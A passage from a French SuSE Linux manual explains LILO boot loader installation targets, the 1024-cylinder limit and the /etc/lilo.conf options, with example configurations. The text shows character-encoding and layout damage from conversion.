  7816.  
  7817.   ~   les diffΘrents noyaux Linux et les secteurs d'amorτage que LILO  devra
  7818.       proposer pour le dΘmarrage.
  7819.        _______________________________________________________________________________________________________________________||
  7820.        ||||||||  Chaque  accΦs  en  Θcriture  (mΩme  par  dΘplacement  de  fichiers)  α  l'un  de               |||            |
  7821.        ||||||||                                                                                                 ||             |
  7822.        ||||||||  ces ΘlΘments invalide le fichier map et rend donc nΘcessaire une nouvelle                      ||             |
  7823.        ||||||||  installation de LILO  ( page 130) ! Ceci concerne surtout le passage α un                      ||             |
  7824.        ||||||||                                                                                                 ||             |
  7825.        ||||||||  nouveau noyau Linux.                                                                           ||             |
  7826.        ||||||||_______________________________________________________________________________________________________________||_
  7827.  
  7828.  
  7829.  
  7830. O∙ LILO  peut-il Ωtre installΘ ?
  7831.  
  7832.  
  7833. En fait, cette question se rapporte le plus souvent au secteur d'amorτage de
  7834. LILO  (``premier niveau''). Avant d'y rΘpondre, nous voulons d'abord attirer
  7835. votre attention sur une restriction d'ordre gΘnΘral :
  7836.        ____________________________________________________
  7837. 7  └ noter :  Les secteurs d'amorτage installΘs par LILO  contiennent une sΘquence d'octets
  7838. caractΘristique pour les virus de secteurs d'amorτage. Il n'y a donc rien d'Θtonnant si un scanner
  7839. de virus DOS croit avoir trouvΘ, dans des fichiers tels que /boot/chain.b ou /boot/os2_d.b,
  7840. le ``virus de boot'' AIRCOP ;-)
  7841.  
  7842.  
  7843.                                                                                                                                    *
  7844.  *   121
  7845. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  7846.  *_______________________________________@
  7847.  
  7848.                            ________________________________________________________________________________________________________*
  7849.  *________||
  7850.  
  7851.                            |  Tous  les  ΘlΘments  du  mΘcanisme  de  dΘmarrage  de  LILO  et  l'image  du                         *
  7852.  *        ||||
  7853.                            || noyau  /boot/vmlinuz  doivent  Ωtre  contenus,  en  cas  d'utilisation  de                           *
  7854.  *        ||||
  7855.  
  7856.                            |  disques  durs,  dans  les  1024  premiers  cylindres !  Ceci  peut  Ωtre  obtenu  ß                  *
  7857.  *        ||||
  7858.                            |  l'aide d'une petite partition supplΘmentaire montΘe sous le rΘpertoire /boot                         *
  7859.  *        |||
  7860.                            |                                                                                                       *
  7861.  *        |||
  7862.                            |  et situΘe intΘgralement dans les limites des 1024 premiers cylindres.                                *
  7863.  *        |||
  7864.                            |_______________________________________________________________________________________________________*
  7865.  *________|||_
  7866.  
  7867.                            Seuls ces secteurs physiques sont dΘjα accessibles, avec les pilotes du BIOS,
  7868.                            pendant la phase de dΘmarrage du systΦme. De surcroεt, on est gΘnΘralement
  7869.                            contraint α se limiter aux deux premiers disques durs. Si vous possΘdez un
  7870.                            ancien BIOS, il s'ajoute α cela que la prΘsence de disques durs (E)IDE rend
  7871.                            impossible l'amorτage depuis des pΘriphΘriques SCSI Θgalement prΘsents.
  7872.  
  7873.                            Seul un BIOS rΘcent permet, en cas normal, l'accΦs α d'autres pΘriphΘriques :
  7874.                            par exemple, en association avec les contr⌠leurs de disques EIDE, jusqu'α 4
  7875.                            disques EIDE. Beaucoup de combinaisons trΦs modernes BIOS / adaptateur
  7876.                            h⌠te  SCSI  permettent  mΩme  de  ``pousser  en  avant''  les  disques  SCSI  pour
  7877.                            rendre possible l'amorτage. Pour pouvoir tirer parti de cette possibilitΘ avec
  7878.                            LILO , reportez-vous α la description de l'option disk    .
  7879.  
  7880.                            Pour simplifier, nous pouvons rΘsumer tout ceci en quelques mots : limite des
  7881.                            1024 cylindres. Vous devez dΘjα en tenir compte au moment du partitionne-
  7882.                            ment de vos disques durs, avant  la premiΦre installation de Linux. Ensuite,
  7883.                            il sera trop tard et vous aurez probablement beaucoup de travail en supplΘ-
  7884.                            ment !   Vous trouverez plus loin, au paragraphe 4.8.2 page 139, des dΘtails
  7885.                            sur la maniΦre de vous y prendre.
  7886.  
  7887.                            Pour  le  secteur  d'amorτage  de  LILO,  vous  avez  le  choix  entre  les  modes
  7888.                            d'installation suivants :
  7889.  
  7890.  
  7891.                              ~   Sur une disquette
  7892.  
  7893.                                  C'est la mΘthode la plus s√re mais aussi la plus lente pour amorcer avec
  7894.                                  LILO  (voir page 133). Qui se sent encore rebutΘ, mΩme aprΦs la lecture
  7895.                                  de ce chapitre, par les modifications du secteur d'amorτage devrait (dans
  7896.                                  un premier temps) opter pour la variante disquettes.
  7897.  
  7898.                              ~   Sur le secteur d'amorτage d'une partition primaire Linux du premier
  7899.                                  disque dur
  7900.  
  7901.                                  Cette variante n'affecte absolument pas le MBR. Avant l'amorτage, cette
  7902.                                  partition doit Ωtre marquΘe comme active avec fdisk . Si Linux a ΘtΘ entiΦ-
  7903.                                  rement installΘ sur des unitΘs de disque ou sur des partitions du deuxiΦme
  7904.                                  disque dur, il ne reste plus pour LILO  que le secteur d'amorτage de la
  7905.                                  partition Θtendue du premier disque dur, dans la mesure bien entendu o∙
  7906.                                  celle-ci existe. Le fdisk  de Linux peut aussi activer cette partition.
  7907.  
  7908.                                  Cette mΘthode offre toutefois trΦs peu de commoditΘ si vous voulez amor-
  7909.                                  cer plusieurs systΦmes d'exploitation α partir du disque dur : Vous devez
  7910.                                  en effet, α chaque fois que vous passez d'un systΦme α l'autre, dΘsactiver
  7911.                                  auparavant la partition de dΘmarrage du systΦme que vous voulez quitter
  7912.                                  et activer la partition de dΘmarrage du prochain systΦme. Les deux procΘ-
  7913.                                  dΘs que nous allons dΘcrire ci-dessous conviennent beaucoup mieux dans
  7914.                                  un tel cas.
  7915.  
  7916.  
  7917. 122
  7918.        __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration_________________*
  7919.  *______________________
  7920.  
  7921.  
  7922.  
  7923.   ~   Sur le secteur maεtre d'amorτage (Master Boot Record)
  7924.       Cette variante est d'une trΦs grande souplesse et constitue par ailleurs la
  7925.       seule  possibilitΘ  d'amorcer  Linux  α  partir  du  disque  dur  lorsque  toutes
  7926.       les  partitions  Linux  se  trouvent  sur  le  deuxiΦme  disque  et  que  l'on  ne
  7927.       dispose d'aucune partition Θtendue sur le premier.  Une modification du
  7928.       MBR comporte toutefois certains risques si l'installation n'est pas rΘalisΘe
  7929.       avec compΘtence. Nous parlerons au paragraphe 4.5 page 130 des mesures
  7930.       de sΘcuritΘ qui s'imposent.
  7931.  
  7932.   ~   Si  vous  avez  utilisΘ  jusqu'α  prΘsent  un  autre  gestionnaire  d'amor-
  7933.       τage : : :
  7934.  
  7935.         : : :et  si  vous  voulez  continuer  α  l'utiliser,  vous  avez  encore  d'autres
  7936.       possibilitΘs en fonction de ses ressources. Citons un cas frΘquent : Vous
  7937.       avez une partition primaire Linux sur le deuxiΦme disque α partir duquel
  7938.       vous voulez lancer Linux. Votre autre gestionnaire serait capable d'initia-
  7939.       liser cette partition par le secteur d'amorτage. Il vous est alors possible de
  7940.       rendre cette partition amorτable en installant LILO sur le secteur d'amor-
  7941.       τage et en faisant savoir α votre autre gestionnaire qu'elle est amorτable.
  7942.        _______________________________________________________________________________________________________________________||
  7943.        ||||||||  Soyez toutefois prudent si vous souhaitez rendre amorτable une partition                       |||            |
  7944.        ||||||||                                                                                                 ||             |
  7945.        ||||||||  logique Linux en y installant LILO  : Les choses se passent souvent bien,                      ||             |
  7946.        ||||||||  mais mΩme si votre autre gestionnaire d'amorτage Θtait capable d'initia-                       ||             |
  7947.        ||||||||                                                                                                 ||             |
  7948.        ||||||||  liser des partitions logiques, le succΦs ne serait absolument pas garanti α                    ||             |
  7949.        ||||||||  l'heure actuelle.                                                                              ||             |
  7950.        ||||||||_______________________________________________________________________________________________________________||_
  7951.  
  7952.       Vous pouvez bien s√r faire un essai, de prΘfΘrence avec une toute petite
  7953.       installation  Linux.  Il  est  possible  que  vous  ayez  de  la  chance,  mais  il
  7954.       vaut tout de mΩme mieux prΘvoir au moins une partition primaire Linux
  7955.       amorτable !
  7956.  
  7957.  
  7958. 4.4       Un LILO  sur mesure : Configuration
  7959.  
  7960. LILO  est un gestionnaire d'amorτage flexible offrant de nombreuses possi-
  7961. bilitΘs  d'adapter  sa  configuration  aux  exigences  de  chacun.  Les  options  les
  7962. plus importantes et leur signification seront prΘsentΘes par la suite. Pour une
  7963. description dΘtaillΘe, reportez-vous α [Alm96     ].
  7964.  
  7965. La configuration de LILO  sera enregistrΘe dans le fichier /etc/lilo.conf. Lors
  7966. d'une  premiΦre  installation  de  Linux,  nous  vous  conseillons  de  faire  tout
  7967. d'abord effectuer cette opΘration par YaST . Il sera toujours possible, si cela
  7968. s'avΦre  nΘcessaire,  de  modifier  lilo.conf  en  prenant  pour  base  le  fichier
  7969. crΘΘ par YaST .
  7970.        _______________________________________________________________________________________________________________________
  7971.        ||||||||  Le  fichier  /etc/lilo.conf  ne  devrait  Ωtre  lisible  que  par  l'utilisateur               |||            |
  7972.        ||||||||                                                                                                 ||             |
  7973.        ||||||||  `root'  car  il  peut  contenir  des  mots  de  passe  (voir  paragraphe  4.4.2                ||             |
  7974.        ||||||||  page  127).  Ceci  est  prΘvu  de  faτon  standard  sous  SuSE     Linux.  VΘrifiez            ||             |
  7975.        ||||||||                                                                                                 ||             |
  7976.        ||||||||  et, en cas de doute, lancez la commande :                                                      ||             |
  7977.        ||||||||        terre:  #  chmod  0600  /etc/lilo.conf                                                   ||             |
  7978.        ||||||||_______________________________________________________________________________________________________________||_
  7979.  
  7980. Il est opportun de conserver soigneusement le fichier de configuration utilisΘ
  7981. lors de la derniΦre installation de LILO  et d'en faire une copie de sauvegarde
  7982.  
  7983.  
  7984.                                                                                                                                    *
  7985.  *   123
  7986. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  7987.  *_______________________________________@
  7988.  
  7989.  
  7990.  
  7991.                            avant toute modification. Une modification ne sera toutefois effective que si
  7992.                            vous  rΘinstallez  LILO  avec  la  nouvelle  version  du  fichier  de  configuration
  7993.                            (paragraphe 4.5 page 130) !
  7994.  
  7995.  
  7996.                            4.4.1      Structure du fichier lilo.conf
  7997.  
  7998.                            Le fichier /etc/lilo.conf commence par une section globale (angl. global
  7999.                            options  section)  avec  des  configurations  gΘnΘrales,  suivie  d'une  ou  de  plu-
  8000.                            sieurs  sections  systΦme  (angl.  image  sections)  pour  les  diffΘrents  systΦmes
  8001.                            d'exploitation  que  LILO  doit  lancer.  Chaque  nouvelle  section  systΦme  est
  8002.                            initialisΘe par une ligne comportant l'option image      ou other     .
  8003.  
  8004.                            L'ordre des diffΘrents systΦmes d'exploitation dans le fichier lilo.conf n'a
  8005.                            d'importance que dans la mesure o∙ c'est le systΦme mentionnΘ en premier
  8006.                            dans  la  liste  qui  sera  lancΘ  automatiquement  si  l'utilisateur  ne  fait  aucune
  8007.                            entrΘe  ~  le  cas  ΘchΘant,  aprΦs  un  dΘlai  d'attente  prΘdΘfini  (voir  les  options
  8008.                            delay      et timeout       ).
  8009.  
  8010.                            Le fichier 4.4.1 page suivante montre l'exemple d'une configuration sur une
  8011.                            machine  fonctionnant  sous  Linux  et  sous  DOS.  Lors  de  l'amorτage,  vous
  8012.                            devriez avoir le choix entre : un nouveau noyau et un ancien noyau Linux sur
  8013.                            la partition racine actuelle (partition primaire sur le deuxiΦme disque) ainsi
  8014.                            que MS-DOS (ou Windows 95) sur /dev/hda1.
  8015.  
  8016.                            Dans /etc/lilo.conf, tout ce qui commence par le caractΦre #  est un com-
  8017.                            mentaire jusqu'α la fin de la ligne. Il est ignorΘ par LILO  ~ tout comme un
  8018.                            espace ~ et peut Ωtre utilisΘ pour amΘliorer la lisibilitΘ.
  8019.  
  8020.                            Voyons maintenant, l'une aprΦs l'autre, les lignes les plus importantes. Les
  8021.                            autres options sont dΘcrites au paragraphe 4.4.2 page 127.
  8022.  
  8023.                              ~    Section globale (paramΦtres)
  8024.  
  8025.                                  ~   boot=<pΘriphΘrique  d'amorτage>
  8026.                                      PΘriphΘrique dont le premier secteur est destinΘ α l'installation du sec-
  8027.                                      teur d'amorτage de LILO  (cible de l'installation).
  8028.                                      <pΘriphΘrique  d'amorτage>  qui  peut  Ωtre  :  un  lecteur  de  disquettes
  8029.                                      (/dev/fd0), une partition (par exemple /dev/hdb3) ou la totalitΘ d'un
  8030.                                      disque (par exemple /dev/hda) : dans ce dernier cas, l'installation doit
  8031.                                      se faire sur le MBR.
  8032.                                      Par dΘfaut : En l'absence de cette spΘcification, LILO  sera installΘ sur
  8033.                                      la partition racine Linux actuelle.
  8034.  
  8035.                                  ~   prompt
  8036.                                      Force  l'apparition  du  message  d'+  invite  de  LILO .  Par  dΘfaut  :  pas
  8037.                                      d'invite ! (voir paragraphe 4.4.2 page 127, option delay     )
  8038.                                      Ceci est recommandΘ dΦs que LILO  doit lancer plus d'un systΦme. Il
  8039.                                      conviendrait  aussi  d'utiliser  conjointement  l'option  timeout       afin  de
  8040.                                      rendre possible un redΘmarrage automatique si aucune entrΘe ne suit le
  8041.                                      message d'invite.
  8042.  
  8043.                                  ~   timeout=<dixiΦmes  de  seconde>
  8044.                                      DΘtermine une pause aprΦs le message d'invite et permet ainsi un redΘ-
  8045.                                      marrage automatique lorsqu'aucune entrΘe n'est faite en temps voulu.
  8046.  
  8047.  
  8048. 124
  8049.      ||||||||                                                                                                                |
  8050.      __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration___________________*
  8051.  *____________________||||
  8052.  
  8053.      _______________________________________________________________________________________________________________________||||
  8054.      |||||||| #  Fichier  de  configuration  LILO                                                                            |
  8055.      |||||||||#  DΘmarrage  de  LILO,  section  globale                                                                      ||
  8056.      |||||||| boot=/dev/hda                            #  Cible  de  l'installation:  MBR                                    |
  8057.      |||||||| backup=/boot/MBR.hda.970428    #  Fichier  de  sauvegarde  pour                                                |
  8058.      ||||||||                                                                                                                |
  8059.      ||||||||                                                   #  l'ancien  MBR  du  28  avr.  1997                         |
  8060.      |||||||| #compact              #  faster,  but  won't  work  on  all  systems.                                          |
  8061.      |||||||| #linear                                                                                                        |
  8062.      ||||||||                                                                                                                |
  8063.      |||||||| message=/boot/message              #    Message  d'accueil  de  LILO                                           |
  8064.      |||||||| prompt                                                                                                         |
  8065.      ||||||||                                                                                                                |
  8066.      |||||||| password  =  q99iwr4                   #  Mot  de  passe  LILO                                                 |
  8067.      |||||||| timeout=100         #  10  s  d'attente  α  l'invite  avant  l'amorτage                                        |
  8068.      ||||||||                                                                                                                |
  8069.      ||||||||                            #  de  la  configuration  par  dΘfaut                                               |
  8070.      |||||||| vga  =  normal       #  mode  texte  normal  (80x25  caractΦres)                                               |
  8071.      ||||||||                                                                                                                |
  8072.      |||||||| #  End  LILO  global  section                                                                                  |
  8073.      ||||||||                                                                                                                |
  8074.      ||||||||                                                                                                                |
  8075.      |||||||| #  Linux  bootable  partition  config  begins                                                                  |
  8076.      |||||||| image  =  /boot/vmlinuz                       #    Configuration  par  dΘfaut                                  |
  8077.      ||||||||        root  =  /dev/hdb3                #    Partition  racine  pour  le  noyau                               |
  8078.      ||||||||                                                                                                                |
  8079.      ||||||||        read-only                                                                                               |
  8080.      ||||||||        label  =  Linux                                                                                         |
  8081.      ||||||||                                                                                                                |
  8082.      |||||||| #  Linux  bootable  partition  config  ends                                                                    |
  8083.      ||||||||                                                                                                                |
  8084.      ||||||||                                                                                                                |
  8085.      |||||||| #  Second  Linux  bootable  partition  config                                                                  |
  8086.      |||||||| image  =  /boot/vmlinuz.old                                                                                    |
  8087.      ||||||||                                                                                                                |
  8088.      ||||||||        root  =  /dev/hdb3                                                                                      |
  8089.      ||||||||        read-only                                                                                               |
  8090.      ||||||||                                                                                                                |
  8091.      ||||||||        label  =  Linux.old                                                                                     |
  8092.      |||||||| #  2nd  Linux  bootable  partition  config  ends                                                               |
  8093.      ||||||||                                                                                                                |
  8094.      ||||||||                                                                                                                |
  8095.      |||||||| #  DOS  bootable  partition  config  begins                                                                    |
  8096.      |||||||| other  =  /dev/hda1                                                                                            |
  8097.      ||||||||                                                                                                                |
  8098.      ||||||||        label  =  DOS                                                                                           |
  8099.      ||||||||        loader  =  /boot/chain.b                                                                                |
  8100.      ||||||||                                                                                                                |
  8101.      ||||||||        table  =  /dev/hda                                                                                      |
  8102.      |||||||| #  DOS  bootable  partition  config  ends                                                                      |
  8103.      ||||||||_______________________________________________________________________________________________________________ |
  8104.  
  8105.         fichier 4.4.1: Exemple de configuration dans /etc/lilo.conf
  8106.  
  8107.  
  8108.  
  8109.         <dixiΦmes de seconde> est le temps qui reste,_en_dixiΦmes_de seconde,
  8110.         pour faire une entrΘe. En appuyant sur |S___________|hiftα *l'invite, on obtient
  8111.         une nouvelle pause. Par dΘfaut : infini, c'est-α-dire pas de redΘmarrage
  8112.         automatique !
  8113.  
  8114.  
  8115. ~   Section Linux
  8116.  
  8117.  
  8118.     ~   image=<image  du  noyau>
  8119.  
  8120.         C'est ici que doit se trouver le nom de l'image du noyau qui doit Ωtre
  8121.         amorcΘe. C'est en rΦgle gΘnΘrale /boot/vmlinuz ou, si vous avez un
  8122.         systΦme SuSE     Linux plus ancien (antΘrieur α la version 6.0), /vmlinuz
  8123.         ou /zImage.
  8124.  
  8125.     ~   label=<nom>
  8126.  
  8127.  
  8128.                                                                                                                                    *
  8129.  * 125
  8130. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8131.  *_______________________________________@
  8132.  
  8133.  
  8134.  
  8135.                                      C'est, dans /etc/lilo.conf, le nom du systΦme qui peut Ωtre choisi
  8136.                                      librement  mais  ne  doit  toutefois  prΘsenter  aucune  ambigu∩tΘ  (par
  8137.                                      exemple Linux     ). Longueur maximale 15 caractΦres : si possible, uni-
  8138.                                      quement des lettres, des chiffres et des soulignΘs `_', pas d'espaces ni
  8139.                                      de caractΦres particuliers tels que par exemple des lettres accentuΘes8 .
  8140.                                      Par  dΘfaut  :  le  nom  du  fichier  de  l'image  du  noyau  (par  exemple
  8141.                                      /boot/vmlinuz).
  8142.                                      En  tapant  ce  nom  α  l'invite  que  LILO  affiche  au  dΘmarrage,  vous
  8143.                                      sΘlectionnez  le  systΦme  d'exploitation  que  vous  voulez  dΘmarrer.  Si
  8144.                                      vous avez plusieurs systΦmes, il est opportun de tenir α disposition une
  8145.                                      description prΘcise des noms et des systΦmes dans un fichier messages
  8146.                                      (voir paragraphe 4.4.2 page ci-contre, option messages       ).
  8147.  
  8148.                                  ~   root=<pΘriphΘrique  racine>
  8149.                                      C'est ainsi que LILO spΘcifie au noyau la partition racine (par exemple
  8150.                                      /dev/hda2) du systΦme Linux. C'est ce qui est recommandΘ par sΘcu-
  8151.                                      ritΘ ! Si cette option est omise, le noyau prend la partition racine dont
  8152.                                      il contient lui-mΩme l'enregistrement9 .
  8153.  
  8154.                              ~   Autre systΦme
  8155.  
  8156.                                  ~   other=<partition>
  8157.                                      Avec  other    ,  on  fait  connaεtre  α  LILO  les  partitions  de  dΘmarrage
  8158.                                      d'autres systΦmes α amorcer (par exemple /dev/hda1).
  8159.  
  8160.                                  ~   loader=<chargeur>
  8161.                                      Pour le chargement d'un secteur d'amorτage Θtranger, LILO  construit
  8162.                                      dans  son  fichier  map  un  ``pseudo  MBR''  (lors  de  l'amorτage,  LILO
  8163.                                      initialise d'abord le ``pseudo MBR'' qui prend alors en charge le secteur
  8164.                                      d'amorτage  Θtranger).  Cette  option  spΘcifie  le  fichier  duquel  on  doit
  8165.                                      extraire le code pour le ``pseudo MBR''.
  8166.                                      Par dΘfaut : /boot/chain.b, ce qui est en gΘnΘral correct .
  8167.                                      Parfois  il  arrive  qu'un  systΦme  d'exploitation  qui  demande  α  Ωtre
  8168.                                      amorcΘ  α  partir  du  premier  disque  dur  (par  exemple  DOS)  doive
  8169.                                      Ωtre  dΘmarrΘ  avec  LILO   depuis  un  autre  disque.  Les  options  com-
  8170.                                      plΘmentaires  map-drive=<numΘro>                    et  to=<numΘro>             permettent
  8171.                                      d'``Θchanger'' ces deux disques au moyen de leur numΘro de pΘriphΘ-
  8172.                                      rique BIOS. Exemple : fichier 4.4.2 page suivante.
  8173.                                      Le chargeur os2_d.b sert α amorcer OS/2 α partir du deuxiΦme disque
  8174.                                      dur10 . Nouveau depuis la version 20 de LILO : Avec ce chargeur Θga-
  8175.                                      lement, l'``Θchange'' des deux premiers disques durs doit Ωtre explici-
  8176.                                      tement prescrit (comme dans le fichier 4.4.2 page ci-contre).
  8177.  
  8178.                                  ~   table=<tablepart>
  8179.                                      <tablepart>  doit  spΘcifier  le  pΘriphΘrique  source  pour  la  table  des
  8180.                                      partitions qui doit Ωtre placΘe dans le pseudo MBR (en rΦgle gΘnΘrale
  8181.                                      /dev/hda ou /dev/sda).
  8182.                            _____________________________________________8
  8183.                               Vous trouverez les rΦgles exactes pour les caractΦres admis dans [Alm96   ], paragraphe 3.2.1.
  8184.                            9 Peut Ωtre visualisΘe avec la commande rdev <image de noyau>
  8185.                           10  any_b.b (amorτage α partir de B:) et any_d.b (amorτage α partir du deuxiΦme disque dur)
  8186.                            sont obsolΦtes depuis la version 20 de LILO .
  8187.  
  8188.  
  8189. 126
  8190.         __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________*
  8191.  *_______________________
  8192.  
  8193.         _______________________________________________________________________________________________________________________||||
  8194.         |||||||| #  Booting  DOS  from  the  second  hard  drive                                                                |
  8195.         |||||||||#  DOS  bootable  partition  config  begins                                                                    ||
  8196.         |||||||| other  =  /dev/hdb1                                                                                            |
  8197.         ||||||||    label  =  DOS                                                                                               |
  8198.         ||||||||    loader  =  /boot/chain.b                                                                                    |
  8199.         ||||||||                                                                                                                |
  8200.         ||||||||          map-drive  =  0x80       #    first  hd:  BIOS  number  0x80                                          |
  8201.         ||||||||          to              =  0x81       #  second  hd:  BIOS  number  0x81                                      |
  8202.         ||||||||                                                                                                                |
  8203.         ||||||||          map-drive  =  0x81                                                                                    |
  8204.         ||||||||          to              =  0x80                                                                               |
  8205.         ||||||||                                                                                                                |
  8206.         ||||||||    table  =  /dev/hdb                                                                                          |
  8207.         |||||||| #  DOS  bootable  partition  config  ends                                                                      |
  8208.         ||||||||_______________________________________________________________________________________________________________ |
  8209.  
  8210.  fichier 4.4.2: /etc/lilo.conf              Extrait : amorcer DOS α partir du deuxiΦme
  8211.  disque dur
  8212.  
  8213.  
  8214.  
  8215.        ~   label=<nom>
  8216.            Le nom (qui peut Ωtre choisi librement) pour ce systΦme. Il est conseillΘ
  8217.            de le faire car le label par dΘfaut - le simple nom de pΘriphΘrique de la
  8218.            partition - est d'une moins grande prΘcision lors de l'amorτage.
  8219.  
  8220.  
  8221.  4.4.2      Autres possibilitΘs optionnelles de configuration (sΘlection)
  8222.  
  8223.  Au dernier paragraphe, nous avons parlΘ du minimum indispensable d'entrΘes
  8224.  dans /etc/lilo.conf. D'autres paramΦtres utiles vont maintenant suivre.
  8225.  
  8226.  Les  options,  expressΘment  dΘsignΘes  comme  options  image,  ont  leur  place
  8227.  dans la section d'un systΦme d'exploitation particulier. Les autres sont desti-
  8228.  nΘes α la section globale de paramΦtres de /etc/lilo.conf.
  8229.  
  8230.    ~   backup=<fichier  de  sauvegarde>
  8231.        Le  fichier  dans  lequel  LILO  dΘpose  une  copie  de  sauvegarde  du  sec-
  8232.        teur  d'amorτage  sur  lequel  il  doit  Ωtre  installΘ.  Il  est  prΘvu  par  dΘfaut
  8233.        /boot/boot.xxxx.  Ici,  xxxx est le numΘro de pΘriphΘrique interne de
  8234.        la partition d'installation11 . Nous vous recommandons d'utiliser un nom
  8235.        facile α interprΘter, tel que celui citΘ plus haut en exemple (avec le nom
  8236.        du pΘriphΘrique et la date). Vous renoncez ainsi α la fonctionnalitΘ Unis-
  8237.        tall  incluse  dans  LILO .  Mais  α  notre  avis,  il  est  prΘfΘrable  d'effectuer
  8238.        manuellement cette opΘration en prenant toutes les prΘcautions qui s'im-
  8239.        posent (voir page 131).
  8240.         _______________________________________________________________________________________________________________________||
  8241.         ||||||||  Lorsque le fichier de sauvegarde existe dΘjα, LILO ne crΘe pas de nouvelle                     |||            |
  8242.         ||||||||  copie de sauvegarde ! Vous devez donc veiller α utiliser un nouveau nom                        ||             |
  8243.         ||||||||                                                                                                 ||             |
  8244.         ||||||||  de fichier qui n'a pas encore ΘtΘ assignΘ.                                                     ||             |
  8245.         ||||||||_______________________________________________________________________________________________________________||_
  8246.  
  8247.    ~   compact
  8248.        Cette  option  est  recommandΘe  pour  l'installation  de  LILO  sur  une  dis-
  8249.        quette.  LILO  tente  alors,  pendant  le  dΘmarrage,  de  lire  simultanΘment
  8250.        plusieurs secteurs et peut Θventuellement amorcer plus vite. Cela ne fonc-
  8251.        tionne malheureusement pas sur toutes les machines. Lors de l'installation
  8252. 11      ____________________________________________________
  8253.     Ceci se trouve dans les sources du noyau dans /usr/src/linux/init/main.c, fonction
  8254.  parse_root_dev().
  8255.  
  8256.  
  8257.                                                                                                                                    *
  8258.  *    127
  8259. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8260.  *_______________________________________@
  8261.  
  8262.  
  8263.  
  8264.                                  de LILO , il serait prΘfΘrable d'y renoncer : c'est plus s√r et la diffΘrence
  8265.                                  n'est que de quelques secondes.
  8266.  
  8267.                              ~   disk=<Fichier  de  pΘriphΘrique>
  8268.                                  bios=<NumΘro  de  pΘriphΘrique  BIOS>
  8269.                                  cylinders=<Nombre>
  8270.                                  heads=<Nombre>
  8271.                                  sectors=<Nombre>
  8272.  
  8273.                                  On peut ici, pour certains disques durs, spΘcifier directement α LILO   les
  8274.                                  numΘros  de  pΘriphΘrique  BIOS  et  la  gΘomΘtrie  qu'il  doit  utiliser  pour
  8275.                                  l'adressage  des  secteurs  de  ces  disques.  TrΦs  rarement  nΘcessaire !  Ap-
  8276.                                  plication la plus importante :
  8277.  
  8278.                                  SystΦmes  mixtes  IDE-SCSI  :  Si  vous  avez  un  BIOS  qui  permet  l'ordre
  8279.                                  d'amorτage SCSI avant IDE et si vous voulez tirer parti de cette possibi-
  8280.                                  litΘ, vous devez informer LILO que l'ordre des disques durs a ΘtΘ modifiΘ
  8281.                                  du point de vue du BIOS. Ceci se fait par l'ajout d'une entrΘe dans la par-
  8282.                                  tie globale de lilo.conf, comme par exemple ici dans le fichier 4.4.3,
  8283.                                  pour  un  systΦme  possΘdant  respectivement  un  disque  IDE  et  un  disque
  8284.                                  SCSI.
  8285.  
  8286.                            ________________________________________________________________________________________________________*
  8287.  *________||
  8288.                            | #  Enable  LILO  to  correctly  access  /dev/sda  and  /dev/hda                                       *
  8289.  *         |
  8290.                            | #  at  boot  time  if  their  boot  order  is  interchanged  in                                       *
  8291.  *         |
  8292.                            |                                                                                                       *
  8293.  *         |
  8294.                            | #  the  BIOS:                                                                                         *
  8295.  *         |
  8296.                            | disk  =  /dev/sda       #     The  SCSI  disk  is  regarded  as  ...                                  *
  8297.  *         |
  8298.                            |                                                                                                       *
  8299.  *         |
  8300.                            |      bios  =  0x80         #     ...  first  BIOS  disk;                                              *
  8301.  *         |
  8302.                            | disk  =  /dev/hda       #     the  IDE  disk  is  regarded  as  ...                                   *
  8303.  *         |
  8304.                            |      bios  =  0x81         #     ...  second  BIOS  disk.                                             *
  8305.  *         |
  8306.                            |_______________________________________________________________________________________________________*
  8307.  *________ |
  8308.  
  8309.                                fichier 4.4.3: lilo.conf         Extrait : Ordre d'amorτage : SCSI avant IDE
  8310.  
  8311.  
  8312.  
  8313.                              ~   linear
  8314.  
  8315.                                  La spΘcification de cette option a pour rΘsultat que, lors de l'installation
  8316.                                  de  LILO ,  toutes  les  rΘfΘrences  sont  placΘes  sur  des  secteurs  de  disque
  8317.                                  comme adresses logiques et non pas physiques. Cette option a ΘtΘ prΘvue
  8318.                                  pour le cas o∙, avec certains contr⌠leurs de disques, le BIOS reconnaεtrait
  8319.                                  au dΘmarrage du systΦme une autre gΘomΘtrie que le systΦme Linux en
  8320.                                  cours d'exΘcution. Rarement nΘcessaire !
  8321.  
  8322.                                  L'option  linear       ne  dispense  pas  de  respecter  la  limite  des  1024  cy-
  8323.                                  lindres  imposΘe  par  la  gΘomΘtrie  du  BIOS  du  disque  d'amorτage.  Voir
  8324.                                  aussi http://sdb.suse.de/sdb/en/html/kgw_lilo_linear.html.
  8325.  
  8326.                              ~   message=<fichier  messages>
  8327.  
  8328.                                  Se rΘfΦre α un fichier texte qui, lors du dΘmarrage du systΦme, est le pre-
  8329.                                  mier α Ωtre affichΘ par LILO . Il ne doit pas avoir plus de 24 lignes (sinon
  8330.                                  il disparaεt en dΘfilant) et peut par exemple donner une vue d'ensemble de
  8331.                                  la sΘlection d'amorτage de LILO . Vous connaissez dΘjα un tel message
  8332.                                  qui est Θgalement affichΘ par la disquette d'amorτage fournie par SuSE    .
  8333.                                  Cette option est recommandΘe.
  8334.  
  8335.  
  8336. 128
  8337.         __________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________*
  8338.  *_______________________
  8339.  
  8340.         _______________________________________________________________________________________________________________________
  8341.         ||||||||  Si cette option est utilisΘe, le fichier messages fait alors partie du mΘca-                   |||            |
  8342.         ||||||||| nisme de dΘmarrage de LILO . Toute modification qui lui est apportΘe rend                      ||             ||
  8343.         ||||||||                                                                                                 |||            |
  8344.         ||||||||  indispensable une nouvelle installation de LILO  (paragraphe 4.5 page sui-                     ||             |
  8345.         ||||||||  vante) !                                                                                       ||             |
  8346.         ||||||||_______________________________________________________________________________________________________________||_
  8347.  
  8348.    ~   password=<mot  de  passe>
  8349.  
  8350.        Peut tout aussi bien se trouver dans la section des paramΦtres que dans
  8351.        les  diffΘrentes  sections  systΦme.  ProtΦge  l'accΦs  aux  services  de  LILO
  8352.        ou  α  l'amorτage  du  systΦme  concernΘ  au  moyen  d'un  mot  de  passe.  Si
